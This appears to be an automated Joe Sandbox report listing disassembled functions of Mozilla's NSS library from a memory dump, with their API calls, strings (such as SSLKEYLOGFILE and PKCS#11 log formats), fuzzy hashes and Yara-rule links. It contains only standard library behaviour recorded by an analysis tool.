Opcode ID: 939646e38ae8c93034bbcfa2b77aaaeba823f7d903fff49c8709f0d3778ef8e8
Instruction ID: a18c48626760af2c5f4f83db0b284ec3f963ef9d00ee6fd1f6c63bc752ed9370
Opcode Fuzzy Hash: 939646e38ae8c93034bbcfa2b77aaaeba823f7d903fff49c8709f0d3778ef8e8
Instruction Fuzzy Hash: 9041E33560008AAFDB448F54DC98FED3BB6EB4A30DF494025F408A7A11EF34C959CBA1

Function 6CBA9FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CBA9FBE

Part of subcall function 6CB82F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CB82F0A
Part of subcall function 6CB82F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CB82F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CBAA015

Part of subcall function 6CBC1940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6CBC563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6CBC195C
Part of subcall function 6CBC1940: EnterCriticalSection.KERNEL32(?,?,6CBC563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6CB9EAC5,00000001), ref: 6CBC1970
Part of subcall function 6CBC1940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6CB9EAC5,00000001,?,6CB9CE9B,00000001,6CB9EAC5), ref: 6CBC19A0

PL_FreeArenaPool.NSS3(?), ref: 6CBAA067
PR_CallOnce.NSS3(6CCE2AA4,6CBE12D0), ref: 6CBAA055

Part of subcall function 6CB04C70: TlsGetValue.KERNEL32(?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04C97
Part of subcall function 6CB04C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04CB0
Part of subcall function 6CB04C70: PR_Unlock.NSS3(?,?,?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBAA07E
PR_CallOnce.NSS3(6CCE2AA4,6CBE12D0), ref: 6CBAA0B1
PL_FreeArenaPool.NSS3(?), ref: 6CBAA0C7
PL_FinishArenaPool.NSS3(?), ref: 6CBAA0CF
PR_CallOnce.NSS3(6CCE2AA4,6CBE12D0), ref: 6CBAA12E
PL_FreeArenaPool.NSS3(?), ref: 6CBAA140
PL_FinishArenaPool.NSS3(?), ref: 6CBAA148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBAA158
PL_FinishArenaPool.NSS3(?), ref: 6CBAA175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6CBAA1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6CBAA1B2
free.MOZGLUE(00000000), ref: 6CBAA1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6CBAA1D6

Part of subcall function 6CBC55E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6CB9EAC5,00000001,?,6CB9CE9B,00000001,6CB9EAC5,00000003,-00000004,00000000,?,6CB9EAC5), ref: 6CBC5627
Part of subcall function 6CBC55E0: PR_CallOnce.NSS3(6CCE2AA4,6CBE12D0,?,?,?,?,?,?,?,?,?,?,6CB9EAC5,00000001,?,6CB9CE9B), ref: 6CBC564F
Part of subcall function 6CBC55E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CB9EAC5,00000001), ref: 6CBC5661
Part of subcall function 6CBC55E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB9EAC5), ref: 6CBC56AF

Strings

security, xrefs: 6CBAA00F

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: 5b39cdd5d6a9c7a40e2d521f297b016f79d2955de56b4aa978f83e223da31081
Instruction ID: 5b33ddfc188a016b56f99b2661ae5b021f86f91487f05818e6800e398b69e7a5
Opcode Fuzzy Hash: 5b39cdd5d6a9c7a40e2d521f297b016f79d2955de56b4aa978f83e223da31081
Instruction Fuzzy Hash: 385127B1E442896BEB108BE5DC44BAE7378EF4670CF100024E905ABB41E771D54ACFA2

Function 6CBC6CD0 Relevance: 30.3, APIs: 20, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBC6910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CBC6943
Part of subcall function 6CBC6910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CBC6957
Part of subcall function 6CBC6910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CBC6972
Part of subcall function 6CBC6910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CBC6983
Part of subcall function 6CBC6910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CBC69AA
Part of subcall function 6CBC6910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CBC69BE
Part of subcall function 6CBC6910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CBC69D2
Part of subcall function 6CBC6910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CBC69DF
Part of subcall function 6CBC6910: NSSUTIL_ArgStrip.NSS3(?), ref: 6CBC6A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CBC6D8C
free.MOZGLUE(00000000), ref: 6CBC6DC5
free.MOZGLUE(?), ref: 6CBC6DD6
free.MOZGLUE(?), ref: 6CBC6DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CBC6E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CBC6E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CBC6E72
free.MOZGLUE(?), ref: 6CBC6EA7
free.MOZGLUE(?), ref: 6CBC6EC4
free.MOZGLUE(?), ref: 6CBC6ED5
free.MOZGLUE(00000000), ref: 6CBC6EE3
free.MOZGLUE(?), ref: 6CBC6EF4
free.MOZGLUE(?), ref: 6CBC6F08
free.MOZGLUE(00000000), ref: 6CBC6F35
free.MOZGLUE(?), ref: 6CBC6F44
free.MOZGLUE(?), ref: 6CBC6F5B
free.MOZGLUE(00000000), ref: 6CBC6F65

Part of subcall function 6CBC6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CBC781D,00000000,6CBBBE2C,?,6CBC6B1D,?,?,?,?,00000000,00000000,6CBC781D), ref: 6CBC6C40
Part of subcall function 6CBC6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CBC781D,?,6CBBBE2C,?), ref: 6CBC6C58
Part of subcall function 6CBC6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CBC781D), ref: 6CBC6C6F
Part of subcall function 6CBC6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CBC6C84
Part of subcall function 6CBC6C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CBC6C96
Part of subcall function 6CBC6C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CBC6CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CBC6F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CBC6FC5
PK11_GetInternalKeySlot.NSS3 ref: 6CBC6FF4

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID:
API String ID: 1304971872-0
Opcode ID: 36d4b12ec1a14f9e82e08829c3baae47a185fc8b6ace09713de9ac81ee4024af
Instruction ID: 30eecfbdcf5f9c56df14df630a4bdbf315af71980b69e57eb8d861ef463c4617
Opcode Fuzzy Hash: 36d4b12ec1a14f9e82e08829c3baae47a185fc8b6ace09713de9ac81ee4024af
Instruction Fuzzy Hash: 73B14CB4F0129A9BDF00DBA5D844FAEBBB4EF09349F140025E815E7641EB31E955CBA3

Function 6CBC4C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CBC4C4C
EnterCriticalSection.KERNEL32(?), ref: 6CBC4C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CBC4CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CBC4CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CBC4CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBC4D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBC4D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CBC4DB7

Part of subcall function 6CC2DD70: TlsGetValue.KERNEL32 ref: 6CC2DD8C
Part of subcall function 6CC2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC2DDB4

Part of subcall function 6CB707A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB0204A), ref: 6CB707AD
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB0204A), ref: 6CB707CD
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB0204A), ref: 6CB707D6
Part of subcall function 6CB707A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB0204A), ref: 6CB707E4
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,6CB0204A), ref: 6CB70864
Part of subcall function 6CB707A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB70880
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,?,6CB0204A), ref: 6CB708CB
Part of subcall function 6CB707A0: TlsGetValue.KERNEL32(?,?,6CB0204A), ref: 6CB708D7
Part of subcall function 6CB707A0: TlsGetValue.KERNEL32(?,?,6CB0204A), ref: 6CB708FB

TlsGetValue.KERNEL32 ref: 6CBC4DD7
EnterCriticalSection.KERNEL32(?), ref: 6CBC4DEC
PR_Unlock.NSS3(?), ref: 6CBC4E1B
PR_SetError.NSS3(00000000,00000000), ref: 6CBC4E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBC4E5A
PR_SetError.NSS3(00000000,00000000), ref: 6CBC4E71
free.MOZGLUE(00000000), ref: 6CBC4E7A
PR_Unlock.NSS3(?), ref: 6CBC4EA2
TlsGetValue.KERNEL32 ref: 6CBC4EC1
EnterCriticalSection.KERNEL32(?), ref: 6CBC4ED6
PR_Unlock.NSS3(?), ref: 6CBC4F01
free.MOZGLUE(00000000), ref: 6CBC4F2A

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 09d19787b977aaaad14ea5c55f7f0a8f09ad5681c884427d8e52b603b8ca4814
Instruction ID: a353f8e8ac2f62624ea21d5470f581a453508bd329e31924ce3c84419dabd696
Opcode Fuzzy Hash: 09d19787b977aaaad14ea5c55f7f0a8f09ad5681c884427d8e52b603b8ca4814
Instruction Fuzzy Hash: 1BB10F75B002069FEB00EF68D844AAA77B4FF0A319F154124ED1597B11EB34EA65CFE2

Function 6CBCFFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6CBC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000), ref: 6CBCFFB4

Part of subcall function 6CC498D0: calloc.MOZGLUE(00000001,00000084,6CB70936,00000001,?,6CB7102C), ref: 6CC498E5

PR_NewLock.NSS3(?,?,6CBC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000), ref: 6CBCFFC6

Part of subcall function 6CC498D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CC49946
Part of subcall function 6CC498D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB016B7,00000000), ref: 6CC4994E
Part of subcall function 6CC498D0: free.MOZGLUE(00000000), ref: 6CC4995E

PR_NewLock.NSS3(?,?,6CBC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000), ref: 6CBCFFD6
PR_NewLock.NSS3(?,?,6CBC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000), ref: 6CBCFFE6
PR_NewLock.NSS3(?,?,6CBC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000), ref: 6CBCFFF6
PR_NewLock.NSS3(?,?,6CBC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000), ref: 6CBD0006
PR_NewLock.NSS3(?,?,6CBC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000), ref: 6CBD0016
PR_NewLock.NSS3(?,?,6CBC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000), ref: 6CBD0026
PR_NewLock.NSS3(?,?,6CBC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000), ref: 6CBD0036
PR_NewLock.NSS3(?,?,6CBC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000), ref: 6CBD0046
PR_NewLock.NSS3(?,?,6CBC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000), ref: 6CBD0056
PR_NewLock.NSS3(?,?,6CBC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000), ref: 6CBD0066
PR_NewLock.NSS3(?,?,6CBC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000), ref: 6CBD0076
PR_NewLock.NSS3(?,?,6CBC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000), ref: 6CBD0086
PR_NewLock.NSS3(?,?,6CBC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000), ref: 6CBD0096
PR_NewLock.NSS3(?,?,6CBC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000), ref: 6CBD00A6
PR_NewLock.NSS3(?,?,6CBC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000), ref: 6CBD00B6
PR_NewLock.NSS3(?,?,6CBC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000), ref: 6CBD00C6
PR_NewLock.NSS3(?,?,6CBC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000), ref: 6CBD00D6
PR_NewLock.NSS3(?,?,6CBC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000), ref: 6CBD00E6

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: 07deddf46117fb59ee83b5e59180c6cbfe7ba85b48365fbe41f91594009d3841
Instruction ID: 2a528f13b2400a4ca22541ff14d2ec4f768678520a4d40fc88d2f01dbc8e899b
Opcode Fuzzy Hash: 07deddf46117fb59ee83b5e59180c6cbfe7ba85b48365fbe41f91594009d3841
Instruction Fuzzy Hash: 0C3108F1E0176A9E8BDADF29D2687493AB8B71F608B10D61AD10487F10EBB40149DFD6

Function 6CC16E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6CC16BF7), ref: 6CC16EB6

Part of subcall function 6CB71240: TlsGetValue.KERNEL32(00000040,?,6CB7116C,NSPR_LOG_MODULES), ref: 6CB71267
Part of subcall function 6CB71240: EnterCriticalSection.KERNEL32(?,?,?,6CB7116C,NSPR_LOG_MODULES), ref: 6CB7127C
Part of subcall function 6CB71240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CB7116C,NSPR_LOG_MODULES), ref: 6CB71291
Part of subcall function 6CB71240: PR_Unlock.NSS3(?,?,?,?,6CB7116C,NSPR_LOG_MODULES), ref: 6CB712A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6CCBFC0A,6CC16BF7), ref: 6CC16ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CC16EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6CC16EFC
PR_NewLock.NSS3 ref: 6CC16F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC16F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6CC16BF7), ref: 6CC16F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6CC16BF7), ref: 6CC16F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6CC16BF7), ref: 6CC16FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6CC16BF7), ref: 6CC16FFD

Strings

NSS_SSL_CBC_RANDOM_IV, xrefs: 6CC16FF8
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6CC16F4F
SSLKEYLOGFILE, xrefs: 6CC16EB1
SSLFORCELOCKS, xrefs: 6CC16F2B
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6CC16FDB
# SSL/TLS secrets log file, generated by NSS, xrefs: 6CC16EF7

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 6fea9c856e48ea3644522b437ee1acea009b8fd9f2a7628bc6f9e2d2eb7f0a46
Instruction ID: c6f08a274fe235ae1602b6292eae10597ccd8b7ed0abecd0dee6f51572998750
Opcode Fuzzy Hash: 6fea9c856e48ea3644522b437ee1acea009b8fd9f2a7628bc6f9e2d2eb7f0a46
Instruction Fuzzy Hash: 8CA1E6B2A5DDD086E750463FCC0139836B2BB8B329F9843A5E831C6ED5FB75A540B391

Function 6CB95DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB95DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6CB95E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6CB95E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6CB95E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6CB95EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6CB95ED9
SECKEY_SignatureLen.NSS3(?), ref: 6CB95F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6CB95F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CB95F89
free.MOZGLUE(?), ref: 6CB95FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CB95FB6
free.MOZGLUE(00000000), ref: 6CB95FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB9600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB96079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB96084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB96094

Strings

, xrefs: 6CB95EEB

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: 02dd32303d3a61c7f1e674d0dccf95a7cfcb68aae7f44dad7f198e3e1205f4f1
Instruction ID: a83f24fd43fb346dae98507abeef409d301a9236ba1e396ebeaaf16c0a313bc3
Opcode Fuzzy Hash: 02dd32303d3a61c7f1e674d0dccf95a7cfcb68aae7f44dad7f198e3e1205f4f1
Instruction Fuzzy Hash: 9F81F7B1E442459BDF008F64DC84BAE77B5EF06329F144238E81AA7791E731E808CBD6

Function 6CBB6D60 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6CBB6D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CBB6DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBB6DC3

Part of subcall function 6CC9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CBB6DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CBB6DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CBB6E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6CBB6E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6CBB6E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6CBB6EB9

Strings

*pulDigestLen = 0x%x, xrefs: 6CBB6EB4
(CK_INVALID_HANDLE), xrefs: 6CBB6DBC
pData = 0x%p, xrefs: 6CBB6DF5
pulDigestLen = 0x%p, xrefs: 6CBB6E42
ulDataLen = %d, xrefs: 6CBB6E0E
C_Digest, xrefs: 6CBB6D81
pDigest = 0x%p, xrefs: 6CBB6E27
hSession = 0x%x, xrefs: 6CBB6D9E, 6CBB6DAE

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest
API String ID: 1003633598-2270781106
Opcode ID: ca555e55718084997e875663ceec6702a75e3976b9187f5bd8280d565607b436
Instruction ID: 975af87a13ea64cabef5fb05e1445fcfa2627efd292968897b9f727f577fece1
Opcode Fuzzy Hash: ca555e55718084997e875663ceec6702a75e3976b9187f5bd8280d565607b436
Instruction Fuzzy Hash: 5F41C33560109AAFDB089F54DD58B9E3BB1EB4B319F054024F808EBA11EF30DD19CBA2

Function 6CBB9C40 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 118COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_LoginUser), ref: 6CBB9C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CBB9C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBB9CA3

Part of subcall function 6CC9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CBB9CB9
PR_LogPrint.NSS3( userType = 0x%x,?), ref: 6CBB9CDA
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CBB9CF5
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CBB9D10
PR_LogPrint.NSS3( pUsername = 0x%p,?), ref: 6CBB9D29
